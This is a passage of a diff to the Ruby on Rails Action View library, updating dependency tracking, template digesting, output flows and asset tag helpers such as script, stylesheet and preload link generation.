+                    unmatched_brackets += 1
+                  when "}"
+                    unmatched_brackets -= 1
+                  end
+                end
+
+                wildcard_dependency << "*"
+              else
+                wildcard_dependency << scanner.rest
+                scanner.terminate
+              end
+            end
+
+            dependencies << wildcard_dependency
+          elsif dependency
+            if dependency.include?("/")
+              dependencies << dependency
+            else
+              dependencies << "#{directory}/#{dependency}"
+            end
+          end
+        end
+
+        def explicit_dependencies
+          source.scan(EXPLICIT_DEPENDENCY).flatten.uniq
+        end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/dependency_tracker/ruby_tracker.rb b/actionview/lib/action_view/dependency_tracker/ruby_tracker.rb
new file mode 100644
index 0000000000000..72a547c3020d5
--- /dev/null
+++ b/actionview/lib/action_view/dependency_tracker/ruby_tracker.rb
@@ -0,0 +1,43 @@
+# frozen_string_literal: true
+
+module ActionView
+  class DependencyTracker # :nodoc:
+    class RubyTracker # :nodoc:
+      EXPLICIT_DEPENDENCY = /# Template Dependency: (\S+)/
+
+      def self.call(name, template, view_paths = nil)
+        new(name, template, view_paths).dependencies
+      end
+
+      def dependencies
+        WildcardResolver.new(view_paths, render_dependencies + explicit_dependencies).resolve
+      end
+
+      def self.supports_view_paths? # :nodoc:
+        true
+      end
+
+      def initialize(name, template, view_paths = nil, parser_class: RenderParser::Default)
+        @name, @template, @view_paths = name, template, view_paths
+        @parser_class = parser_class
+      end
+
+      private
+        attr_reader :template, :name, :view_paths
+
+        def render_dependencies
+          return [] unless template.source.include?("render")
+
+          compiled_source = template.handler.call(template, template.source)
+
+          @parser_class.new(@name, compiled_source).render_calls.filter_map do |render_call|
+            render_call.gsub(%r|/_|, "/")
+          end
+        end
+
+        def explicit_dependencies
+          template.source.scan(EXPLICIT_DEPENDENCY).flatten.uniq
+        end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/dependency_tracker/wildcard_resolver.rb b/actionview/lib/action_view/dependency_tracker/wildcard_resolver.rb
new file mode 100644
index 0000000000000..443f034f6c01d
--- /dev/null
+++ b/actionview/lib/action_view/dependency_tracker/wildcard_resolver.rb
@@ -0,0 +1,32 @@
+# frozen_string_literal: true
+
+module ActionView
+  class DependencyTracker # :nodoc:
+    class WildcardResolver # :nodoc:
+      def initialize(view_paths, dependencies)
+        @view_paths = view_paths
+
+        @wildcard_dependencies, @explicit_dependencies =
+          dependencies.partition { |dependency| dependency.end_with?("/*") }
+      end
+
+      def resolve
+        return explicit_dependencies.uniq if !view_paths || wildcard_dependencies.empty?
+
+        (explicit_dependencies + resolved_wildcard_dependencies).uniq
+      end
+
+      private
+        attr_reader :explicit_dependencies, :wildcard_dependencies, :view_paths
+
+        def resolved_wildcard_dependencies
+          # Remove trailing "/*"
+          prefixes = wildcard_dependencies.map { |query| query[0..-3] }
+
+          view_paths.flat_map(&:all_template_paths).uniq.filter_map { |path|
+            path.to_s if prefixes.include?(path.prefix)
+          }.sort
+        end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/deprecator.rb b/actionview/lib/action_view/deprecator.rb
new file mode 100644
index 0000000000000..c75be6584d32a
--- /dev/null
+++ b/actionview/lib/action_view/deprecator.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+module ActionView
+  def self.deprecator # :nodoc:
+    @deprecator ||= ActiveSupport::Deprecation.new
+  end
+end
diff --git a/actionview/lib/action_view/digestor.rb b/actionview/lib/action_view/digestor.rb
index 0658d8601d4af..d27453bbe0dc9 100644
--- a/actionview/lib/action_view/digestor.rb
+++ b/actionview/lib/action_view/digestor.rb
@@ -1,36 +1,35 @@
-require "concurrent/map"
+# frozen_string_literal: true
+
 require "action_view/dependency_tracker"
-require "monitor"
 
 module ActionView
   class Digestor
     @@digest_mutex = Mutex.new
 
-    module PerExecutionDigestCacheExpiry
-      def self.before(target)
-        ActionView::LookupContext::DetailsKey.clear
-      end
-    end
-
     class << self
       # Supported options:
       #
-      # * <tt>name</tt>   - Template name
-      # * <tt>finder</tt>  - An instance of <tt>ActionView::LookupContext</tt>
-      # * <tt>dependencies</tt>  - An array of dependent views
-      def digest(name:, finder:, dependencies: [])
-        dependencies ||= []
-        cache_key = [ name, finder.rendered_format, dependencies ].flatten.compact.join(".")
+      # * <tt>name</tt>         - Template name
+      # * <tt>format</tt>       - Template format
+      # * +finder+              - An instance of ActionView::LookupContext
+      # * <tt>dependencies</tt> - An array of dependent views
+      def digest(name:, format: nil, finder:, dependencies: nil)
+        if dependencies.nil? || dependencies.empty?
+          cache_key = "#{name}.#{format}"
+        else
+          dependencies_suffix = dependencies.flatten.tap(&:compact!).join(".")
+          cache_key = "#{name}.#{format}.#{dependencies_suffix}"
+        end
 
         # this is a correctly done double-checked locking idiom
         # (Concurrent::Map's lookups have volatile semantics)
         finder.digest_cache[cache_key] || @@digest_mutex.synchronize do
           finder.digest_cache.fetch(cache_key) do # re-check under lock
-            partial = name.include?("/_")
-            root = tree(name, finder, partial)
+            path = TemplatePath.parse(name)
+            root = tree(path.to_s, finder, path.partial?)
             dependencies.each do |injected_dep|
               root.children << Injected.new(injected_dep, nil, nil)
-            end
+            end if dependencies
             finder.digest_cache[cache_key] = root.digest(finder)
           end
         end
@@ -43,13 +42,11 @@ def logger
       # Create a dependency tree for template named +name+.
       def tree(name, finder, partial = false, seen = {})
         logical_name = name.gsub(%r|/_|, "/")
+        interpolated = name.include?("#")
 
-        options = {}
-        options[:formats] = [finder.rendered_format] if finder.rendered_format
-
-        if template = finder.disable_cache { finder.find_all(logical_name, [], partial, [], options).first }
-          finder.rendered_format ||= template.formats.first
+        path = TemplatePath.parse(name)
 
+        if !interpolated && (template = find_template(finder, path.name, [path.prefix], partial, []))
           if node = seen[template.identifier] # handle cycles in the tree
             node
           else
@@ -62,11 +59,20 @@ def tree(name, finder, partial = false, seen = {})
             node
           end
         else
-          logger.error "  '#{name}' file doesn't exist, so no dependencies"
-          logger.error "  Couldn't find template for digesting: #{name}"
+          unless interpolated # Dynamic template partial names can never be tracked
+            logger.error "  Couldn't find template for digesting: #{name}"
+          end
+
           seen[name] ||= Missing.new(name, logical_name, nil)
         end
       end
+
+      private
+        def find_template(finder, name, prefixes, partial, keys)
+          finder.disable_cache do
+            finder.find_all(name, prefixes, partial, keys).first
+          end
+        end
     end
 
     class Node
@@ -85,7 +91,7 @@ def initialize(name, logical_name, template, children = [])
       end
 
       def digest(finder, stack = [])
-        Digest::MD5.hexdigest("#{template.source}-#{dependency_digest(finder, stack)}")
+        ActiveSupport::Digest.hexdigest("#{template.source}-#{dependency_digest(finder, stack)}")
       end
 
       def dependency_digest(finder, stack)
@@ -101,8 +107,12 @@ def dependency_digest(finder, stack)
         end.join("-")
       end
 
-      def to_dep_map
-        children.any? ? { name => children.map(&:to_dep_map) } : name
+      def to_dep_map(seen = Set.new.compare_by_identity)
+        if seen.add?(self)
+          children.any? ? { name => children.map { |c| c.to_dep_map(seen) } } : name
+        else # the tree has a cycle
+          name
+        end
       end
     end
 
diff --git a/actionview/lib/action_view/flows.rb b/actionview/lib/action_view/flows.rb
index 6d5f57a570f63..1e5fe74aa100c 100644
--- a/actionview/lib/action_view/flows.rb
+++ b/actionview/lib/action_view/flows.rb
@@ -1,7 +1,9 @@
+# frozen_string_literal: true
+
 require "active_support/core_ext/string/output_safety"
 
 module ActionView
-  class OutputFlow #:nodoc:
+  class OutputFlow # :nodoc:
     attr_reader :content
 
     def initialize
@@ -15,17 +17,17 @@ def get(key)
 
     # Called by each renderer object to set the layout contents.
     def set(key, value)
-      @content[key] = ActiveSupport::SafeBuffer.new(value)
+      @content[key] = ActiveSupport::SafeBuffer.new(value.to_s)
     end
 
     # Called by content_for
     def append(key, value)
-      @content[key] << value
+      @content[key] << value.to_s
     end
     alias_method :append!, :append
   end
 
-  class StreamingFlow < OutputFlow #:nodoc:
+  class StreamingFlow < OutputFlow # :nodoc:
     def initialize(view, fiber)
       @view    = view
       @parent  = nil
@@ -66,7 +68,6 @@ def append!(key, value)
     end
 
     private
-
       def inside_fiber?
         Fiber.current.object_id != @root
       end
diff --git a/actionview/lib/action_view/gem_version.rb b/actionview/lib/action_view/gem_version.rb
index 5fc4f3f1b93e2..bbcf66d8d7615 100644
--- a/actionview/lib/action_view/gem_version.rb
+++ b/actionview/lib/action_view/gem_version.rb
@@ -1,12 +1,14 @@
+# frozen_string_literal: true
+
 module ActionView
-  # Returns the version of the currently loaded Action View as a <tt>Gem::Version</tt>
+  # Returns the currently loaded version of Action View as a +Gem::Version+.
   def self.gem_version
     Gem::Version.new VERSION::STRING
   end
 
   module VERSION
-    MAJOR = 5
-    MINOR = 1
+    MAJOR = 8
+    MINOR = 2
     TINY  = 0
     PRE   = "alpha"
 
diff --git a/actionview/lib/action_view/helpers.rb b/actionview/lib/action_view/helpers.rb
index c1b4b4f84b635..dc060c7898d1a 100644
--- a/actionview/lib/action_view/helpers.rb
+++ b/actionview/lib/action_view/helpers.rb
@@ -1,32 +1,35 @@
+# frozen_string_literal: true
+
 require "active_support/benchmarkable"
+require "action_view/helpers/capture_helper"
+require "action_view/helpers/output_safety_helper"
+require "action_view/helpers/tag_helper"
+require "action_view/helpers/url_helper"
+require "action_view/helpers/sanitize_helper"
+require "action_view/helpers/text_helper"
+require "action_view/helpers/active_model_helper"
+require "action_view/helpers/asset_tag_helper"
+require "action_view/helpers/asset_url_helper"
+require "action_view/helpers/atom_feed_helper"
+require "action_view/helpers/cache_helper"
+require "action_view/helpers/content_exfiltration_prevention_helper"
+require "action_view/helpers/controller_helper"
+require "action_view/helpers/csp_helper"
+require "action_view/helpers/csrf_helper"
+require "action_view/helpers/date_helper"
+require "action_view/helpers/debug_helper"
+require "action_view/helpers/form_tag_helper"
+require "action_view/helpers/form_helper"
+require "action_view/helpers/form_options_helper"
+require "action_view/helpers/javascript_helper"
+require "action_view/helpers/number_helper"
+require "action_view/helpers/rendering_helper"
+require "action_view/helpers/translation_helper"
 
-module ActionView #:nodoc:
-  module Helpers #:nodoc:
+module ActionView # :nodoc:
+  module Helpers # :nodoc:
     extend ActiveSupport::Autoload
 
-    autoload :ActiveModelHelper
-    autoload :AssetTagHelper
-    autoload :AssetUrlHelper
-    autoload :AtomFeedHelper
-    autoload :CacheHelper
-    autoload :CaptureHelper
-    autoload :ControllerHelper
-    autoload :CsrfHelper
-    autoload :DateHelper
-    autoload :DebugHelper
-    autoload :FormHelper
-    autoload :FormOptionsHelper
-    autoload :FormTagHelper
-    autoload :JavaScriptHelper, "action_view/helpers/javascript_helper"
-    autoload :NumberHelper
-    autoload :OutputSafetyHelper
-    autoload :RecordTagHelper
-    autoload :RenderingHelper
-    autoload :SanitizeHelper
-    autoload :TagHelper
-    autoload :TextHelper
-    autoload :TranslationHelper
-    autoload :UrlHelper
     autoload :Tags
 
     def self.eager_load!
@@ -43,7 +46,9 @@ def self.eager_load!
     include AtomFeedHelper
     include CacheHelper
     include CaptureHelper
+    include ContentExfiltrationPreventionHelper
     include ControllerHelper
+    include CspHelper
     include CsrfHelper
     include DateHelper
     include DebugHelper
@@ -53,7 +58,6 @@ def self.eager_load!
     include JavaScriptHelper
     include NumberHelper
     include OutputSafetyHelper
-    include RecordTagHelper
     include RenderingHelper
     include SanitizeHelper
     include TagHelper
diff --git a/actionview/lib/action_view/helpers/active_model_helper.rb b/actionview/lib/action_view/helpers/active_model_helper.rb
index 4bb5788a16674..bf3079dc4dbee 100644
--- a/actionview/lib/action_view/helpers/active_model_helper.rb
+++ b/actionview/lib/action_view/helpers/active_model_helper.rb
@@ -1,12 +1,14 @@
+# frozen_string_literal: true
+
 require "active_support/core_ext/module/attribute_accessors"
 require "active_support/core_ext/enumerable"
 
 module ActionView
-  # = Active Model Helpers
-  module Helpers
+  module Helpers # :nodoc:
     module ActiveModelHelper
     end
 
+    # = Active \Model Instance Tag \Helpers
     module ActiveModelInstanceTag
       def object
         @active_model_object ||= begin
@@ -15,8 +17,8 @@ def object
         end
       end
 
-      def content_tag(*)
-        error_wrapping(super)
+      def content_tag(type, options, *)
+        select_markup_helper?(type) ? super : error_wrapping(super)
       end
 
       def tag(type, options, *)
@@ -25,7 +27,7 @@ def tag(type, options, *)
 
       def error_wrapping(html_tag)
         if object_has_errors?
-          Base.field_error_proc.call(html_tag, self)
+          @template_object.instance_exec(html_tag, self, &Base.field_error_proc)
         else
           html_tag
         end
@@ -36,11 +38,14 @@ def error_message
       end
 
       private
-
         def object_has_errors?
           object.respond_to?(:errors) && object.errors.respond_to?(:[]) && error_message.present?
         end
 
+        def select_markup_helper?(type)
+          ["optgroup", "option"].include?(type)
+        end
+
         def tag_generate_errors?(options)
           options["type"] != "hidden"
         end
diff --git a/actionview/lib/action_view/helpers/asset_tag_helper.rb b/actionview/lib/action_view/helpers/asset_tag_helper.rb
index 750f96f29e70a..61fa394733aa5 100644
--- a/actionview/lib/action_view/helpers/asset_tag_helper.rb
+++ b/actionview/lib/action_view/helpers/asset_tag_helper.rb
@@ -1,32 +1,41 @@
+# frozen_string_literal: true
+
 require "active_support/core_ext/array/extract_options"
 require "active_support/core_ext/hash/keys"
+require "active_support/core_ext/object/inclusion"
 require "action_view/helpers/asset_url_helper"
 require "action_view/helpers/tag_helper"
 
 module ActionView
-  # = Action View Asset Tag Helpers
-  module Helpers #:nodoc:
+  module Helpers # :nodoc:
+    # = Action View Asset Tag \Helpers
+    #
     # This module provides methods for generating HTML that links views to assets such
     # as images, JavaScripts, stylesheets, and feeds. These methods do not verify
     # the assets exist before linking to them:
     #
     #   image_tag("rails.png")
-    #   # => <img alt="Rails" src="/assets/rails.png" />
+    #   # => <img src="/assets/rails.png" />
     #   stylesheet_link_tag("application")
-    #   # => <link href="/assets/application.css?body=1" media="screen" rel="stylesheet" />
+    #   # => <link href="/assets/application.css?body=1" rel="stylesheet" />
     module AssetTagHelper
-      extend ActiveSupport::Concern
-
       include AssetUrlHelper
       include TagHelper
 
+      mattr_accessor :image_loading
+      mattr_accessor :image_decoding
+      mattr_accessor :preload_links_header
+      mattr_accessor :apply_stylesheet_media_default
+      mattr_accessor :auto_include_nonce_for_scripts
+      mattr_accessor :auto_include_nonce_for_styles
+
       # Returns an HTML script tag for each of the +sources+ provided.
       #
       # Sources may be paths to JavaScript files. Relative paths are assumed to be relative
       # to <tt>assets/javascripts</tt>, full paths are assumed to be relative to the document
       # root. Relative paths are idiomatic, use absolute paths only when needed.
       #
-      # When passing paths, the ".js" extension is optional.  If you do not want ".js"
+      # When passing paths, the ".js" extension is optional. If you do not want ".js"
       # appended to the path <tt>extname: false</tt> can be set on the options.
       #
       # You can modify the HTML attributes of the script tag by passing a hash as the
@@ -35,19 +44,41 @@ module AssetTagHelper
       # When the Asset Pipeline is enabled, you can pass the name of your manifest as
       # source, and include other JavaScript or CoffeeScript files inside the manifest.
       #
+      # If the server supports HTTP Early Hints, and the +defer+ option is not
+      # enabled, \Rails will push a <tt>103 Early Hints</tt> response that links
+      # to the assets.
+      #
       # ==== Options
       #
       # When the last parameter is a hash you can add HTML attributes using that
-      # parameter. The following options are supported:
+      # parameter. This includes but is not limited to the following options:
       #
-      # * <tt>:extname</tt>  - Append an extension to the generated url unless the extension
-      #   already exists. This only applies for relative urls.
-      # * <tt>:protocol</tt>  - Sets the protocol of the generated url, this option only
-      #   applies when a relative url and +host+ options are provided.
-      # * <tt>:host</tt>  - When a relative url is provided the host is added to the
+      # * <tt>:extname</tt>  - Append an extension to the generated URL unless the extension
+      #   already exists. This only applies for relative URLs.
+      # * <tt>:protocol</tt>  - Sets the protocol of the generated URL. This option only
+      #   applies when a relative URL and +host+ options are provided.
+      # * <tt>:host</tt>  - When a relative URL is provided the host is added to the
       #   that path.
       # * <tt>:skip_pipeline</tt>  - This option is used to bypass the asset pipeline
       #   when it is set to true.
+      # * <tt>:nonce</tt>  - When set to true, adds an automatic nonce value if
+      #   you have Content Security Policy enabled.
+      # * <tt>:async</tt>  - When set to +true+, adds the +async+ HTML
+      #   attribute, allowing the script to be fetched in parallel to be parsed
+      #   and evaluated as soon as possible.
+      # * <tt>:defer</tt>  - When set to +true+, adds the +defer+ HTML
+      #   attribute, which indicates to the browser that the script is meant to
+      #   be executed after the document has been parsed. Additionally, prevents
+      #   sending the Preload Links header.
+      # * <tt>:nopush</tt>  - Specify if the use of server push is not desired
+      #   for the script. Defaults to +true+.
+      #
+      # Any other specified options will be treated as HTML attributes for the
+      # +script+ tag.
+      #
+      # For more information regarding how the <tt>:async</tt> and <tt>:defer</tt>
+      # options affect the <tt><script></tt> tag, please refer to the
+      # {MDN docs}[https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script].
       #
       # ==== Examples
       #
@@ -72,32 +103,94 @@ module AssetTagHelper
       #
       #   javascript_include_tag "http://www.example.com/xmlhr.js"
       #   # => <script src="http://www.example.com/xmlhr.js"></script>
+      #
+      #   javascript_include_tag "http://www.example.com/xmlhr.js", nonce: true
+      #   # => <script src="http://www.example.com/xmlhr.js" nonce="..."></script>
+      #
+      #   javascript_include_tag "http://www.example.com/xmlhr.js", async: true
+      #   # => <script src="http://www.example.com/xmlhr.js" async="async"></script>
+      #
+      #   javascript_include_tag "http://www.example.com/xmlhr.js", defer: true
+      #   # => <script src="http://www.example.com/xmlhr.js" defer="defer"></script>
       def javascript_include_tag(*sources)
         options = sources.extract_options!.stringify_keys
         path_options = options.extract!("protocol", "extname", "host", "skip_pipeline").symbolize_keys
-        sources.uniq.map { |source|
+        preload_links = []
+        use_preload_links_header = options["preload_links_header"].nil? ? preload_links_header : options.delete("preload_links_header")
+        nopush = options["nopush"].nil? || options.delete("nopush")
+        crossorigin = options.delete("crossorigin")
+        crossorigin = "anonymous" if crossorigin == true
+        integrity = options["integrity"]
+        rel = options["type"] == "module" || options["type"] == :module ? "modulepreload" : "preload"
+
+        sources_tags = sources.uniq.map { |source|
+          href = path_to_javascript(source, path_options)
+          if use_preload_links_header && !options["defer"] && href.present? && !href.start_with?("data:")
+            preload_link = "<#{href}>; rel=#{rel}; as=script"
+            preload_link += "; crossorigin=#{crossorigin}" unless crossorigin.nil?
+            preload_link += "; integrity=#{integrity}" unless integrity.nil?
+            preload_link += "; nonce=#{content_security_policy_nonce}" if options["nonce"] == true
+            preload_link += "; nopush" if nopush
+            preload_links << preload_link
+          end
           tag_options = {
-            "src" => path_to_javascript(source, path_options)
+            "src" => href,
+            "crossorigin" => crossorigin
           }.merge!(options)
-          content_tag("script".freeze, "", tag_options)
+          if tag_options["nonce"] == true || (!tag_options.key?("nonce") && auto_include_nonce_for_scripts)
+            tag_options["nonce"] = content_security_policy_nonce
+          elsif tag_options["nonce"] == false
+            tag_options.delete("nonce")
+          end
+          content_tag("script", "", tag_options)
         }.join("\n").html_safe
+
+        if use_preload_links_header
+          send_preload_links_header(preload_links)
+        end
+
+        sources_tags
       end
 
-      # Returns a stylesheet link tag for the sources specified as arguments. If
-      # you don't specify an extension, <tt>.css</tt> will be appended automatically.
+      # Returns a stylesheet link tag for the sources specified as arguments.
+      #
+      # When passing paths, the <tt>.css</tt> extension is optional.
+      # If you don't specify an extension, <tt>.css</tt> will be appended automatically.
+      # If you do not want <tt>.css</tt> appended to the path,
+      # set <tt>extname: false</tt> in the options.
       # You can modify the link attributes by passing a hash as the last argument.
-      # For historical reasons, the 'media' attribute will always be present and defaults
-      # to "screen", so you must explicitly set it to "all" for the stylesheet(s) to
-      # apply to all media types.
+      #
+      # If the server supports HTTP Early Hints, \Rails will push a <tt>103 Early
+      # Hints</tt> response that links to the assets.
+      #
+      # ==== Options
+      #
+      # * <tt>:extname</tt>  - Append an extension to the generated URL unless the extension
+      #   already exists. This only applies for relative URLs.
+      # * <tt>:protocol</tt>  - Sets the protocol of the generated URL. This option only
+      #   applies when a relative URL and +host+ options are provided.
+      # * <tt>:host</tt>  - When a relative URL is provided the host is added to the
+      #   that path.
+      # * <tt>:skip_pipeline</tt>  - This option is used to bypass the asset pipeline
+      #   when it is set to true.
+      # * <tt>:nonce</tt>  - When set to true, adds an automatic nonce value if
+      #   you have Content Security Policy enabled.
+      # * <tt>:nopush</tt>  - Specify if the use of server push is not desired
+      #   for the stylesheet. Defaults to +true+.
+      #
+      # ==== Examples
       #
       #   stylesheet_link_tag "style"
-      #   # => <link href="/assets/style.css" media="screen" rel="stylesheet" />
+      #   # => <link href="/assets/style.css" rel="stylesheet" />
       #
       #   stylesheet_link_tag "style.css"
-      #   # => <link href="/assets/style.css" media="screen" rel="stylesheet" />
+      #   # => <link href="/assets/style.css" rel="stylesheet" />
       #
       #   stylesheet_link_tag "http://www.example.com/style.css"
-      #   # => <link href="http://www.example.com/style.css" media="screen" rel="stylesheet" />
+      #   # => <link href="http://www.example.com/style.css" rel="stylesheet" />
+      #
+      #   stylesheet_link_tag "style.less", extname: false, skip_pipeline: true, rel: "stylesheet/less"
+      #   # => <link href="/stylesheets/style.less" rel="stylesheet/less">
       #
       #   stylesheet_link_tag "style", media: "all"
       #   # => <link href="/assets/style.css" media="all" rel="stylesheet" />
@@ -106,25 +199,60 @@ def javascript_include_tag(*sources)
       #   # => <link href="/assets/style.css" media="print" rel="stylesheet" />
       #
       #   stylesheet_link_tag "random.styles", "/css/stylish"
-      #   # => <link href="/assets/random.styles" media="screen" rel="stylesheet" />
-      #   #    <link href="/css/stylish.css" media="screen" rel="stylesheet" />
+      #   # => <link href="/assets/random.styles" rel="stylesheet" />
+      #   #    <link href="/css/stylish.css" rel="stylesheet" />
+      #
+      #   stylesheet_link_tag "style", nonce: true
+      #   # => <link href="/assets/style.css" rel="stylesheet" nonce="..." />
       def stylesheet_link_tag(*sources)
         options = sources.extract_options!.stringify_keys
-        path_options = options.extract!("protocol", "host", "skip_pipeline").symbolize_keys
-        sources.uniq.map { |source|
+        path_options = options.extract!("protocol", "extname", "host", "skip_pipeline").symbolize_keys
+        use_preload_links_header = options["preload_links_header"].nil? ? preload_links_header : options.delete("preload_links_header")
+        preload_links = []
+        crossorigin = options.delete("crossorigin")
+        crossorigin = "anonymous" if crossorigin == true
+        nopush = options["nopush"].nil? || options.delete("nopush")
+        integrity = options["integrity"]
+
+        sources_tags = sources.uniq.map { |source|
+          href = path_to_stylesheet(source, path_options)
+          if use_preload_links_header && href.present? && !href.start_with?("data:")
+            preload_link = "<#{href}>; rel=preload; as=style"
+            preload_link += "; crossorigin=#{crossorigin}" unless crossorigin.nil?
+            preload_link += "; integrity=#{integrity}" unless integrity.nil?
+            preload_link += "; nonce=#{content_security_policy_nonce}" if options["nonce"] == true
+            preload_link += "; nopush" if nopush
+            preload_links << preload_link
+          end
           tag_options = {
             "rel" => "stylesheet",
-            "media" => "screen",
-            "href" => path_to_stylesheet(source, path_options)
+            "crossorigin" => crossorigin,
+            "href" => href
           }.merge!(options)
+          if tag_options["nonce"] == true || (!tag_options.key?("nonce") && auto_include_nonce_for_styles && respond_to?(:content_security_policy_nonce))
+            tag_options["nonce"] = content_security_policy_nonce
+          elsif tag_options["nonce"] == false
+            tag_options.delete("nonce")
+          end
+
+          if apply_stylesheet_media_default && tag_options["media"].blank?
+            tag_options["media"] = "screen"
+          end
+
           tag(:link, tag_options)
         }.join("\n").html_safe
+
+        if use_preload_links_header
+          send_preload_links_header(preload_links)
+        end
+
+        sources_tags
       end
 
       # Returns a link tag that browsers and feed readers can use to auto-detect
-      # an RSS or Atom feed. The +type+ can either be <tt>:rss</tt> (default) or
-      # <tt>:atom</tt>. Control the link options in url_for format using the
-      # +url_options+. You can modify the LINK tag itself in +tag_options+.
+      # an RSS, Atom, or JSON feed. The +type+ can be <tt>:rss</tt> (default),
+      # <tt>:atom</tt>, or <tt>:json</tt>. Control the link options in url_for format
+      # using the +url_options+. You can modify the LINK tag itself in +tag_options+.
       #
       # ==== Options
       #
@@ -138,6 +266,8 @@ def stylesheet_link_tag(*sources)
       #   # => <link rel="alternate" type="application/rss+xml" title="RSS" href="http://www.currenthost.com/controller/action" />
       #   auto_discovery_link_tag(:atom)
       #   # => <link rel="alternate" type="application/atom+xml" title="ATOM" href="http://www.currenthost.com/controller/action" />
+      #   auto_discovery_link_tag(:json)
+      #   # => <link rel="alternate" type="application/json" title="JSON" href="http://www.currenthost.com/controller/action" />
       #   auto_discovery_link_tag(:rss, {action: "feed"})
       #   # => <link rel="alternate" type="application/rss+xml" title="RSS" href="http://www.currenthost.com/controller/feed" />
       #   auto_discovery_link_tag(:rss, {action: "feed"}, {title: "My RSS"})
@@ -147,8 +277,8 @@ def stylesheet_link_tag(*sources)
       #   auto_discovery_link_tag(:rss, "http://www.example.com/feed.rss", {title: "Example RSS"})
       #   # => <link rel="alternate" type="application/rss+xml" title="Example RSS" href="http://www.example.com/feed.rss" />
       def auto_discovery_link_tag(type = :rss, url_options = {}, tag_options = {})
-        if !(type == :rss || type == :atom) && tag_options[:type].blank?
-          raise ArgumentError.new("You should pass :type tag_option key explicitly, because you have passed #{type} type other than :rss or :atom.")
+        if !(type == :rss || type == :atom || type == :json) && tag_options[:type].blank?
+          raise ArgumentError.new("You should pass :type tag_option key explicitly, because you have passed #{type} type other than :rss, :atom, or :json.")
         end
 
         tag(
@@ -172,14 +302,14 @@ def auto_discovery_link_tag(type = :rss, url_options = {}, tag_options = {})
       #
       # The helper gets the name of the favicon file as first argument, which
       # defaults to "favicon.ico", and also supports +:rel+ and +:type+ options
-      # to override their defaults, "shortcut icon" and "image/x-icon"
+      # to override their defaults, "icon" and "image/x-icon"
       # respectively:
       #
       #   favicon_link_tag
-      #   # => <link href="/assets/favicon.ico" rel="shortcut icon" type="image/x-icon" />
+      #   # => <link href="/assets/favicon.ico" rel="icon" type="image/x-icon" />
       #
       #   favicon_link_tag 'myicon.ico'
-      #   # => <link href="/assets/myicon.ico" rel="shortcut icon" type="image/x-icon" />
+      #   # => <link href="/assets/myicon.ico" rel="icon" type="image/x-icon" />
       #
       # Mobile Safari looks for a different link tag, pointing to an image that
       # will be used if you add the page to the home screen of an iOS device.
@@ -189,91 +319,231 @@ def auto_discovery_link_tag(type = :rss, url_options = {}, tag_options = {})
       #   # => <link href="/assets/mb-icon.png" rel="apple-touch-icon" type="image/png" />
       def favicon_link_tag(source = "favicon.ico", options = {})
         tag("link", {
-          rel: "shortcut icon",
+          rel: "icon",
           type: "image/x-icon",
           href: path_to_image(source, skip_pipeline: options.delete(:skip_pipeline))
         }.merge!(options.symbolize_keys))
       end
 
+      # Returns a link tag that browsers can use to preload the +source+.
+      # The +source+ can be the path of a resource managed by asset pipeline,
+      # a full path, or an URI.
+      #
+      # ==== Options
+      #
+      # * <tt>:type</tt>  - Override the auto-generated mime type, defaults to the mime type for +source+ extension.
+      # * <tt>:as</tt>  - Override the auto-generated value for as attribute, calculated using +source+ extension and mime type.
+      # * <tt>:crossorigin</tt>  - Specify the crossorigin attribute, required to load cross-origin resources.
+      # * <tt>:nopush</tt>  - Specify if the use of server push is not desired for the resource. Defaults to +false+.
+      # * <tt>:integrity</tt> - Specify the integrity attribute.
+      #
+      # ==== Examples
+      #
+      #   preload_link_tag("custom_theme.css")
+      #   # => <link rel="preload" href="/assets/custom_theme.css" as="style" type="text/css" />
+      #
+      #   preload_link_tag("/videos/video.webm")
+      #   # => <link rel="preload" href="/videos/video.mp4" as="video" type="video/webm" />
+      #
+      #   preload_link_tag(post_path(format: :json), as: "fetch")
+      #   # => <link rel="preload" href="/posts.json" as="fetch" type="application/json" />
+      #
+      #   preload_link_tag("worker.js", as: "worker")
+      #   # => <link rel="preload" href="/assets/worker.js" as="worker" type="text/javascript" />
+      #
+      #   preload_link_tag("//example.com/font.woff2")
+      #   # => <link rel="preload" href="//example.com/font.woff2" as="font" type="font/woff2" crossorigin="anonymous"/>
+      #
+      #   preload_link_tag("//example.com/font.woff2", crossorigin: "use-credentials")
+      #   # => <link rel="preload" href="//example.com/font.woff2" as="font" type="font/woff2" crossorigin="use-credentials" />
+      #
+      #   preload_link_tag("/media/audio.ogg", nopush: true)
+      #   # => <link rel="preload" href="/media/audio.ogg" as="audio" type="audio/ogg" />
+      #
+      def preload_link_tag(source, options = {})
+        href = path_to_asset(source, skip_pipeline: options.delete(:skip_pipeline))
+        extname = File.extname(source).downcase.delete(".")
+        mime_type = options.delete(:type) || Template::Types[extname]&.to_s
+        as_type = options.delete(:as) || resolve_link_as(extname, mime_type)
+        crossorigin = options.delete(:crossorigin)
+        crossorigin = "anonymous" if crossorigin == true || (crossorigin.blank? && as_type == "font")
+        integrity = options[:integrity]
+        fetchpriority = options.delete(:fetchpriority)
+        nopush = options.delete(:nopush) || false
+        rel = mime_type == "module" || mime_type == :module ? "modulepreload" : "preload"
+        add_nonce = content_security_policy_nonce &&
+          respond_to?(:request) &&
+          request.content_security_policy_nonce_directives&.include?("#{as_type}-src")
+
+        if add_nonce
+          options[:nonce] = content_security_policy_nonce
+        end
+
+        link_tag = tag.link(
+          rel: rel,
+          href: href,
+          as: as_type,
+          type: mime_type,
+          crossorigin: crossorigin,
+          fetchpriority: fetchpriority,
+          **options.symbolize_keys)
+
+        preload_link = "<#{href}>; rel=#{rel}; as=#{as_type}"
+        preload_link += "; type=#{mime_type}" if mime_type
+        preload_link += "; crossorigin=#{crossorigin}" if crossorigin
+        preload_link += "; fetchpriority=#{fetchpriority}" if fetchpriority
+        preload_link += "; integrity=#{integrity}" if integrity
+        preload_link += "; nonce=#{content_security_policy_nonce}" if add_nonce
+        preload_link += "; nopush" if nopush
+
+        send_preload_links_header([preload_link])
+
+        link_tag
+      end
+
       # Returns an HTML image tag for the +source+. The +source+ can be a full
-      # path or a file.
+      # path, a file, or an Active Storage attachment.
       #
       # ==== Options
       #
       # You can add HTML attributes using the +options+. The +options+ supports
-      # two additional keys for convenience and conformance:
+      # additional keys for convenience and conformance:
       #
-      # * <tt>:alt</tt>  - If no alt text is given, the file name part of the
